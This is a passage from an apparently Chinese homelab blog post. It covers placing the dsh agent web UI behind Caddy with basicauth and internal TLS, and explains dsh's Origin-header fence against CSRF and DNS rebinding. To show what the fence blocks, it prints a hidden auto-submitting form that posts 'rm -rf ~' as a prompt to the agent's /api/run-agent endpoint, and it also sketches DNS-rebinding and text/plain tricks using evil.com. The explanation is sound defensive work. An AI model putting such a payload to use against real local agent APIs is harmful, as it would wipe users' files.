    --host 127.0.0.1 --port 3081 --no-open \
    --trusted-host 127.0.0.1:3080 --trusted-host localhost:3080 \
    --trusted-host 192.168.5.68:3080   # 局域网 IP，见第四节
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;--trusted-host&lt;&#x2F;code&gt; 是 dsh 的 &lt;code&gt;&#x2F;api&lt;&#x2F;code&gt; 浏览器信任围栏配置，后面单独讲。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;er-caddy-pei-zhi-debian-ban-cai-keng-zui-duo&quot;&gt;二、caddy 配置（Debian 版踩坑最多）&lt;&#x2F;h2&gt;
&lt;p&gt;系统：Debian 13，&lt;code&gt;apt install caddy&lt;&#x2F;code&gt;（版本 2.6.2）。Caddyfile：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;https:&amp;#x2F;&amp;#x2F;127.0.0.1:3080, https:&amp;#x2F;&amp;#x2F;localhost:3080, https:&amp;#x2F;&amp;#x2F;192.168.5.68:3080 {
	tls internal

	basicauth {
		peter $2a$14$xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
	}

	reverse_proxy 127.0.0.1:3081
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;密码哈希用 &lt;code&gt;caddy hash-password --plaintext &#x27;你的密码&#x27;&lt;&#x2F;code&gt; 生成。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;keng-1-zhi-ling-ming-shi-basicauth-bu-shi-basic-auth&quot;&gt;坑 1：指令名是 &lt;code&gt;basicauth&lt;&#x2F;code&gt; 不是 &lt;code&gt;basic_auth&lt;&#x2F;code&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;上游 caddy 2.9 才把 &lt;code&gt;basic_auth&lt;&#x2F;code&gt; 改名为 &lt;code&gt;basicauth&lt;&#x2F;code&gt;，但 Debian 打包的 2.6.2 已经把改名打了进去。用老名字直接报 &lt;code&gt;unrecognized directive: basic_auth&lt;&#x2F;code&gt;。二进制里明明有模块、其他指令都正常，唯独认证指令对不上——排查时一度很迷惑。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;keng-2-zhan-dian-di-zhi-bi-xu-xie-https-host-port-wan-zheng-xing-shi&quot;&gt;坑 2：站点地址必须写 &lt;code&gt;https:&#x2F;&#x2F;host:port&lt;&#x2F;code&gt; 完整形式&lt;&#x2F;h3&gt;
&lt;p&gt;这是最隐蔽的坑。写 &lt;code&gt;:3080 { tls internal }&lt;&#x2F;code&gt;（裸端口 + tls 指令）时配置校验能过，但&lt;strong&gt;自动 HTTPS 不会为它签发任何证书&lt;&#x2F;strong&gt;——握手直接 &lt;code&gt;tlsv1 alert internal error&lt;&#x2F;code&gt;，浏览器报 &lt;code&gt;ERR_SSL_PROTOCOL_ERROR&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;原因：caddy 的自动证书管理只覆盖「站点地址里写了主机名&#x2F;IP 的站点」。裸端口站点没有标识符，自动 HTTPS 无从下手。改成 &lt;code&gt;https:&#x2F;&#x2F;127.0.0.1:3080&lt;&#x2F;code&gt; 这种带 scheme + 地址的形式，caddy 就会为每个地址签发内部证书。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;keng-3-nei-bu-gen-zheng-shu-zhuang-bu-jin-xi-tong-xin-ren-ku&quot;&gt;坑 3：内部根证书装不进系统信任库&lt;&#x2F;h3&gt;
&lt;p&gt;caddy 服务以 &lt;code&gt;caddy&lt;&#x2F;code&gt; 用户运行，首次启动想自动把内部根证书装进系统信任库，但该用户不在 sudoers，静默失败：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;pki.ca.local: failed to install root certificate: failed to execute sudo: exit status 1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;手动装（注意 HOME 必须指向 caddy 用户的存储目录，否则会用 root 的身份另建一套 CA）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo env HOME=&amp;#x2F;var&amp;#x2F;lib&amp;#x2F;caddy caddy trust
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;装完后本机 &lt;code&gt;curl https:&#x2F;&#x2F;127.0.0.1:3080&#x2F;&lt;&#x2F;code&gt; 无需 &lt;code&gt;-k&lt;&#x2F;code&gt;，浏览器也不报证书错误。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;san-wei-shen-me-bi-xu-pei-trusted-host&quot;&gt;三、为什么必须配 &lt;code&gt;--trusted-host&lt;&#x2F;code&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;dsh web 的 &lt;code&gt;&#x2F;api&lt;&#x2F;code&gt; 是特权接口（能驱动 agent 干活），它自身没有认证，只绑 127.0.0.1——这防得住远程，但防不住本机恶意网页的跨站请求（CSRF&#x2F;驱动式攻击连 127.0.0.1 不需要任何权限）。所以 dsh 加了「浏览器信任围栏」：校验浏览器请求的 &lt;strong&gt;Origin&lt;&#x2F;strong&gt; 头，只信任自己监听地址 &lt;code&gt;127.0.0.1:3081&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;关键点：&lt;strong&gt;Origin 是浏览器按地址栏 URL 生成的，反向代理不会、也不该改写它&lt;&#x2F;strong&gt;。所以经过 caddy 后：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;直连:   浏览器访问 http:&amp;#x2F;&amp;#x2F;127.0.0.1:3081   → Origin: http:&amp;#x2F;&amp;#x2F;127.0.0.1:3081   ← 与 dsh 一致，放行
经反代: 浏览器访问 https:&amp;#x2F;&amp;#x2F;127.0.0.1:3080  → Origin: https:&amp;#x2F;&amp;#x2F;127.0.0.1:3080  ← 不一致，403
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;dsh 从 TCP 视角看不出区别（请求都来自本机），但围栏只认 Origin。实测证据：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;请求&lt;&#x2F;th&gt;&lt;th&gt;结果&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;直连 3081，无 Origin（curl&#x2F;非浏览器）&lt;&#x2F;td&gt;&lt;td&gt;放行（围栏只管浏览器请求）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;直连 3081，Origin=&lt;code&gt;127.0.0.1:3080&lt;&#x2F;code&gt;（未放行）&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;403&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;经 caddy，Origin=&lt;code&gt;127.0.0.1:3080&lt;&#x2F;code&gt;（已放行）&lt;&#x2F;td&gt;&lt;td&gt;放行&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;经 caddy，Origin=&lt;code&gt;evil.example&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;403&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;code&gt;--trusted-host 127.0.0.1:3080 --trusted-host localhost:3080&lt;&#x2F;code&gt; 就是把这些「反代入口地址」加进白名单。症状也很有迷惑性：UI 能打开、页面渲染正常，但所有 &lt;code&gt;&#x2F;api&lt;&#x2F;code&gt; 请求 403，功能全废。&lt;&#x2F;p&gt;
&lt;p&gt;顺带一提：恶意网页请求 &lt;code&gt;https:&#x2F;&#x2F;127.0.0.1:3080&lt;&#x2F;code&gt; 时浏览器会自动带上缓存的基本认证凭据，caddy 那关拦不住它——围栏是最后一道防线（origin 不对直接 403）。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ding-wei-zhe-shi-csrf-fang-hu-bu-shi-cors&quot;&gt;定位：这是 CSRF 防护，不是 CORS&lt;&#x2F;h3&gt;
&lt;p&gt;容易混淆，「校验 Origin」和「CORS 配置」是两回事，区别在浏览器管什么：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;th&gt;管什么&lt;&#x2F;th&gt;&lt;th&gt;谁执行&lt;&#x2F;th&gt;&lt;th&gt;dsh 案例&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;CORS&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;响应可不可读&lt;&#x2F;td&gt;&lt;td&gt;浏览器（看服务器回不回的 &lt;code&gt;Access-Control-Allow-*&lt;&#x2F;code&gt; 头）&lt;&#x2F;td&gt;&lt;td&gt;恶意页面 fetch &lt;code&gt;&#x2F;api&lt;&#x2F;code&gt; 即使被 CORS 拒，&lt;strong&gt;请求本身也已在服务器执行&lt;&#x2F;strong&gt;，只是读不到响应&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;CSRF 防护（dsh 的 Origin 围栏）&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;请求该不该被执行&lt;&#x2F;td&gt;&lt;td&gt;服务端（校验请求自带的 Origin 头）&lt;&#x2F;td&gt;&lt;td&gt;请求到 dsh，Origin 不在白名单 → 403，不执行&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;CORS 通常用于「开放 API 给第三方域」场景，方向相反；想拦住&lt;strong&gt;执行&lt;&#x2F;strong&gt;只能靠服务端校验。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;wei-shen-me-cors-lan-bu-zhu-csrf-yu-jian-zhi-dui-yi-lei-qing-qiu-sheng-xiao&quot;&gt;为什么 CORS 拦不住 CSRF：预检只对一类请求生效&lt;&#x2F;h3&gt;
&lt;p&gt;浏览器 fetch 分两类：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;请求&lt;&#x2F;th&gt;&lt;th&gt;是否预检&lt;&#x2F;th&gt;&lt;th&gt;CORS 拦得住吗&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;简单请求&lt;&#x2F;strong&gt;：GET&#x2F;POST、content-type 只有 &lt;code&gt;form-urlencoded&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;multipart&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;text&#x2F;plain&lt;&#x2F;code&gt;、无自定义头&lt;&#x2F;td&gt;&lt;td&gt;不预检，直接发出&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;拦不住&lt;&#x2F;strong&gt;——请求在服务器执行，只是 JS 读不到响应（SOP）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;非简单请求&lt;&#x2F;strong&gt;：&lt;code&gt;application&#x2F;json&lt;&#x2F;code&gt;、自定义头、&lt;code&gt;Authorization&lt;&#x2F;code&gt; 等&lt;&#x2F;td&gt;&lt;td&gt;先发 OPTIONS 预检&lt;&#x2F;td&gt;&lt;td&gt;拦截：服务器没回 CORS 头，浏览器连正式请求都不发，也读不到&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;所以「随便 fetch application&#x2F;json 打任意网站」被预检拦死，但「用 &lt;code&gt;&amp;lt;form&amp;gt;&lt;&#x2F;code&gt; 或 &lt;code&gt;text&#x2F;plain&lt;&#x2F;code&gt; 的 POST&#x2F;GET」畅通无阻——这正是经典 CSRF 的载体，&lt;strong&gt;必须服务端自己判断&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;san-chong-zhen-shi-gong-ji-wei-lan-ru-he-lan-jie&quot;&gt;三种真实攻击：围栏如何拦截&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;攻击 A：表单 CSRF（经典形态，不需要点击）&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;恶意网页放一个隐藏表单 + 一段自动提交脚本——用户打开页面即发起请求，无感知、无需点击：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&amp;lt;form id=&amp;quot;evil&amp;quot; method=&amp;quot;POST&amp;quot; action=&amp;quot;https:&amp;#x2F;&amp;#x2F;127.0.0.1:3080&amp;#x2F;api&amp;#x2F;run-agent&amp;quot;&amp;gt;
  &amp;lt;input name=&amp;quot;prompt&amp;quot; value=&amp;quot;rm -rf ~ &amp;amp;&amp;amp; ...&amp;quot;&amp;gt;
&amp;lt;&amp;#x2F;form&amp;gt;
&amp;lt;script&amp;gt;
  document.getElementById(&amp;#x27;evil&amp;#x27;).submit()   &amp;#x2F;&amp;#x2F; JS 自动提交，不依赖用户点击
&amp;lt;&amp;#x2F;script&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;表单的跨站提交不受 CORS&#x2F;SOP 限制（CORS 只管 fetch&#x2F;XHR 的响应可读性），浏览器会带上 Caddy 缓存的 Basic 凭据。&lt;strong&gt;无围栏&lt;&#x2F;strong&gt;：dsh 执行，&lt;code&gt;rm -rf&lt;&#x2F;code&gt; 跑起来。&lt;strong&gt;有围栏&lt;&#x2F;strong&gt;：浏览器自动带的 &lt;code&gt;Origin: https:&#x2F;&#x2F;evil.example&lt;&#x2F;code&gt; 不在白名单 → 403。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;攻击 B：&lt;code&gt;text&#x2F;plain&lt;&#x2F;code&gt; 伪 JSON&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;攻击者知道后端收 JSON，但 fetch 用 &lt;code&gt;text&#x2F;plain&lt;&#x2F;code&gt; 发 &lt;code&gt;JSON.stringify&lt;&#x2F;code&gt; 的 body 绕过预检——很多 API 只看内容不看 content-type，照样执行。围栏同样以 Origin 一票否决。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;攻击 C：DNS rebinding（最隐蔽）&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;攻击者域名 &lt;code&gt;evil.com&lt;&#x2F;code&gt; 先解析到外网，JS 建立连接后再解析到 &lt;code&gt;127.0.0.1&lt;&#x2F;code&gt;——此时 fetch &lt;code&gt;https:&#x2F;&#x2F;evil.com&#x2F;api&#x2F;...&lt;&#x2F;code&gt; 在浏览器眼里是&lt;strong&gt;同源请求&lt;&#x2F;strong&gt;：不预检、响应可读、直连 dsh。但 Origin 头仍是 &lt;code&gt;https:&#x2F;&#x2F;evil.com&lt;&#x2F;code&gt;，围栏 403。没有服务端 Origin 校验的话，这个攻击连 CORS 都拦不住（它根本不同源）。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;wei-shen-me-caddy-de-basicauth-dang-bu-zhu-wei-lan-shi-zui-hou-yi-dao&quot;&gt;为什么 caddy 的 basicauth 挡不住、围栏是最后一道&lt;&#x2F;h3&gt;
&lt;p&gt;攻击者的请求确实会带着&lt;strong&gt;你浏览器缓存的 Basic 凭据&lt;&#x2F;strong&gt;（你访问 &lt;code&gt;https:&#x2F;&#x2F;127.0.0.1:3080&lt;&#x2F;code&gt; 时输过的密码，浏览器记忆后会自动附上 &lt;code&gt;Authorization&lt;&#x2F;code&gt; 头），caddy 认证天然放行——caddy 认不出「这是恶意页面发的，用户没点」。所以防线落在 dsh：Origin 头永远只有地址栏来源意义上的值，&lt;strong&gt;攻击者无法伪造页面来源&lt;&#x2F;strong&gt;，他永远过不了这关（无 Origin 的请求 dsh 视为非浏览器、放行，但恶意网页的跨站请求一定带 Origin）。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;wei-shen-me-pu-tong-wang-zhan-bu-kao-origin-xiao-yan-dang-zhu-fang-xian&quot;&gt;为什么普通网站不靠 Origin 校验当主防线&lt;&#x2F;h3&gt;
&lt;p&gt;Origin&#x2F;Referer 校验是少量站点会用的补充手段（GitHub 曾用「Origin 校验 + token 兜底」），但主流主防线是：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;SameSite Cookie&lt;&#x2F;strong&gt;：浏览器默认 &lt;code&gt;SameSite=Lax&lt;&#x2F;code&gt;（2020 年 Chromium 默认），恶意页面发起的跨站 POST 连登录 Cookie 都不带，CSRF 自动失效——大多数站点就靠这一条&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;CSRF token&lt;&#x2F;strong&gt;：表单嵌服务端签发的 token，提交校验&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;CORS 配置&lt;&#x2F;strong&gt;：管读取不挡执行，&lt;code&gt;Access-Control-Allow-Origin: *&lt;&#x2F;code&gt; 的站一抓一大把，从不是 CSRF 防线&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;dsh 是特殊形态&lt;&#x2F;strong&gt;：无认证、无 Cookie、无会话的本地特权 API——SameSite 没 Cookie 可保护，token 没有登录仪式可签发，只剩 Origin 头本身可校验。所以「裸 API + 本机监听」才不得不用 Origin 围栏。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;si-ju-yu-wang-ip-zi-dong-shou-ji&quot;&gt;四、局域网 IP 自动收集&lt;&#x2F;h2&gt;
&lt;p&gt;caddy 只给站点地址列表里的 IP 签发证书，DHCP 换 IP 就断。我让 install 脚本渲染时自动收集 &lt;code&gt;hostname -I&lt;&#x2F;code&gt; 的全部非回环 IPv4（局域网&#x2F;tailscale&#x2F;docker bridge），拼进站点地址：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 渲染 Caddyfile 时
for h in $(hostname -I | tr &amp;#x27; &amp;#x27; &amp;#x27;\n&amp;#x27; | grep -E &amp;#x27;^[0-9.]+$&amp;#x27; | grep -v &amp;#x27;^127\.&amp;#x27;); do
    SITES=&amp;quot;$SITES, https:&amp;#x2F;&amp;#x2F;$h:3080&amp;quot;
done
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;dsh-web.sh 启动时做同样的事，把每个 IP 都加进 &lt;code&gt;--trusted-host&lt;&#x2F;code&gt;——否则通过局域网 IP 访问时 &lt;code&gt;&#x2F;api&lt;&#x2F;code&gt; 照样 403。换 IP 后重跑安装脚本 + 重启 dsh web 即可。&lt;&#x2F;p&gt;
&lt;p&gt;完整实现（模板 + 幂等安装脚本 + 服务脚本）在工具仓库：&lt;code&gt;homelab&#x2F;caddy&#x2F;&lt;&#x2F;code&gt;（Caddyfile.tmpl、install.sh，密钥不入库）和 &lt;code&gt;dotfiles&#x2F;.my_local&#x2F;bin&#x2F;dsh-web.sh&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wu-ju-yu-wang-qi-ta-she-bei-fang-wen&quot;&gt;五、局域网其他设备访问&lt;&#x2F;h2&gt;
&lt;p&gt;本机浏览器直接可用（根证书已装系统信任库）。&lt;strong&gt;其他设备&lt;&#x2F;strong&gt;（手机&#x2F;别的电脑）需要先信任 caddy 的根证书，否则握手成功但报 &lt;code&gt;ERR_CERT_AUTHORITY_INVALID&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 本机把根证书复制出来，起个临时 HTTP 服务供设备下载
sudo cp &amp;#x2F;usr&amp;#x2F;local&amp;#x2F;share&amp;#x2F;ca-certificates&amp;#x2F;Caddy_Local_Authority_*.crt &amp;#x2F;tmp&amp;#x2F;caddy-root.crt
python3 -m http.server 8000 -d &amp;#x2F;tmp
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;设备浏览器访问 &lt;code&gt;http:&#x2F;&#x2F;192.168.5.68:8000&#x2F;caddy-root.crt&lt;&#x2F;code&gt; 下载并安装：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Android&lt;&#x2F;strong&gt;：设置 → 安全 → 安装 CA 证书（网络与互联网 → 加密与凭据）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;iOS&lt;&#x2F;strong&gt;：下载 → 设置 → 已下载描述文件 → 安装，再在「证书信任设置」开启完全信任&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;桌面&lt;&#x2F;strong&gt;：导入系统信任库（Debian&#x2F;Ubuntu：拷到 &lt;code&gt;&#x2F;usr&#x2F;local&#x2F;share&#x2F;ca-certificates&#x2F;&lt;&#x2F;code&gt; 后 &lt;code&gt;update-ca-certificates&lt;&#x2F;code&gt;）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;装完后访问 &lt;code&gt;https:&#x2F;&#x2F;192.168.5.68:3080&lt;&#x2F;code&gt;，输入用户名密码即可。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;liu-mo-xing-pei-zhi-wei-shen-me-bi-xu-cong-127-0-0-1-fang-wen&quot;&gt;六、模型配置为什么必须从 127.0.0.1 访问&lt;&#x2F;h2&gt;
&lt;p&gt;第五节做完后，UI 打开正常、聊天正常，但&lt;strong&gt;点开「模型配置」页却报错&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;加载提供方目录失败: settings are unavailable in this browser
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;--trusted-host 192.168.5.68:3080&lt;&#x2F;code&gt; 明明加了（见第一节），为什么 &lt;code&gt;&#x2F;api&lt;&#x2F;code&gt; 还是不放行？——因为它没坏，&lt;strong&gt;这是 dsh 0.1.1-rc.2 起的设计&lt;&#x2F;strong&gt;：&lt;code&gt;&#x2F;api&lt;&#x2F;code&gt; 被分成两类方法：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;方法类&lt;&#x2F;th&gt;&lt;th&gt;例子&lt;&#x2F;th&gt;&lt;th&gt;围栏白名单&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;普通&lt;&#x2F;td&gt;&lt;td&gt;会话创建、&lt;code&gt;llm.providers&lt;&#x2F;code&gt; 目录、聊天&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;trustedHosts&lt;&#x2F;code&gt;（&lt;code&gt;--trusted-host&lt;&#x2F;code&gt;）全部生效&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;配置平面&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;settings.describe&#x2F;update&#x2F;replace&#x2F;mutate&lt;&#x2F;code&gt;、&lt;code&gt;credentials.*&lt;&#x2F;code&gt;、&lt;code&gt;agentPreset.*&lt;&#x2F;code&gt;、&lt;code&gt;host.*&lt;&#x2F;code&gt;、&lt;code&gt;llm.discoverModels&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;固定传「空列表」——只有 loopback 来源才放行&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;设计文档原话（大意）：&lt;code&gt;trustedHosts&lt;&#x2F;code&gt; 只是 DNS-rebinding 围栏，&lt;strong&gt;不是认证层&lt;&#x2F;strong&gt;；配置平面（读也不行——&lt;code&gt;settings.describe&lt;&#x2F;code&gt; 会原样返回全部配置和密钥状态）在真正的认证层出现前，永远保持 loopback-same-origin。&lt;code&gt;--host 0.0.0.0&lt;&#x2F;code&gt; 也因此被官方禁用。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;wei-shen-me-fan-dai-liao-huan-shi-bu-xing-dsh-bu-kan-tcp-lai-yuan-zhi-kan-host-tou&quot;&gt;为什么反代了还是不行：dsh 不看 TCP 来源，只看 Host 头&lt;&#x2F;h3&gt;
&lt;p&gt;反代后 dsh 收到的连接确实来自 127.0.0.1（caddy 转发），但 dsh &lt;strong&gt;故意不信任 TCP 回环&lt;&#x2F;strong&gt;——因为 DNS rebinding 攻击的经典形态就是「socket 打到 loopback、Host 却是攻击者域名」，回环连接完全不能证明来源可信。而 caddy 的 &lt;code&gt;reverse_proxy&lt;&#x2F;code&gt; 默认把客户端原始 Host 原样透传（&lt;code&gt;192.168.5.68:3080&lt;&#x2F;code&gt;），dsh 看到的权威是非回环 → 配置平面 403。&lt;&#x2F;p&gt;
&lt;p&gt;实测证据（直接打 3081，模拟反代过来的请求）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# Host=局域网 IP，Origin=局域网 IP → 配置平面 403
curl -s -X POST -o &amp;#x2F;dev&amp;#x2F;null -w &amp;#x27;%{http_code}\n&amp;#x27; \
  -H &amp;#x27;Host: 192.168.5.68:3080&amp;#x27; -H &amp;#x27;Origin: https:&amp;#x2F;&amp;#x2F;192.168.5.68:3080&amp;#x27; \
  http:&amp;#x2F;&amp;#x2F;127.0.0.1:3081&amp;#x2F;api&amp;#x2F;settings.describe
# → 403

# 同一 TCP 回环、Host 换回 127.0.0.1 → 通过围栏（后面的 415 只是没带 content-type）
curl -s -X POST -o &amp;#x2F;dev&amp;#x2F;null -w &amp;#x27;%{http_code}\n&amp;#x27; \
  -H &amp;#x27;Host: 127.0.0.1:3081&amp;#x27; -H &amp;#x27;Origin: https:&amp;#x2F;&amp;#x2F;127.0.0.1:3081&amp;#x27; \
  http:&amp;#x2F;&amp;#x2F;127.0.0.1:3081&amp;#x2F;api&amp;#x2F;settings.describe
# → 415
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;jie-fa-rang-liu-lan-qi-origin-hui-dao-127-0-0-1&quot;&gt;解法：让浏览器 origin 回到 127.0.0.1&lt;&#x2F;h3&gt;
&lt;p&gt;两个方案，都不需要改 dsh&#x2F;caddy 上游：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;方案 A（最推荐）：本机配一次，全局域网共享。&lt;&#x2F;strong&gt; 在本机访问 &lt;code&gt;https:&#x2F;&#x2F;127.0.0.1:3080&lt;&#x2F;code&gt; 配置模型&#x2F;凭证——配置存进 dsh 的共享配置文件，其他设备的浏览器 UI 读同一份，聊天照常。大多数场景到这里就结束了。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;方案 B（其他设备上也要配模型）：SSH 隧道，&lt;code&gt;dotfiles&#x2F;.my_local&#x2F;bin&#x2F;dsh-proxy.sh&lt;&#x2F;code&gt;。&lt;&#x2F;strong&gt; 客户端起一条隧道，把远端 &lt;code&gt;127.0.0.1:3080&lt;&#x2F;code&gt;（caddy）转发成本地 &lt;code&gt;127.0.0.1:3080&lt;&#x2F;code&gt;，浏览器地址栏仍是回环，origin 回到 &lt;code&gt;https:&#x2F;&#x2F;127.0.0.1:3080&lt;&#x2F;code&gt;，一切放行（caddy basicauth 依然生效）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 客户端（任何 Linux，systemd --user + ssh + iproute2）
dsh-proxy.sh start                 # 默认 peter@192.168.5.68，可用 $DSH_REMOTE &amp;#x2F; 参数覆盖
# 然后本机浏览器开 https:&amp;#x2F;&amp;#x2F;127.0.0.1:3080

dsh-proxy.sh [stop|restart|status|log]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;内部实现就是一个 systemd-run --user 包起来的 ssh：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;systemd-run --user --unit=dsh-proxy --collect \
    --setenv=GPG_TTY=&amp;#x2F;dev&amp;#x2F;nonexistent \
    --property=Restart=on-failure --property=RestartSec=5 \
    -- ssh -N -L 3080:127.0.0.1:3080 \
    -o ExitOnForwardFailure=yes -o StrictHostKeyChecking=accept-new \
    -o ServerAliveInterval=30 -o ServerAliveCountMax=3 \
    peter@192.168.5.68
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;几个细节：&lt;&#x2F;p&gt;
&lt;ul&gt;
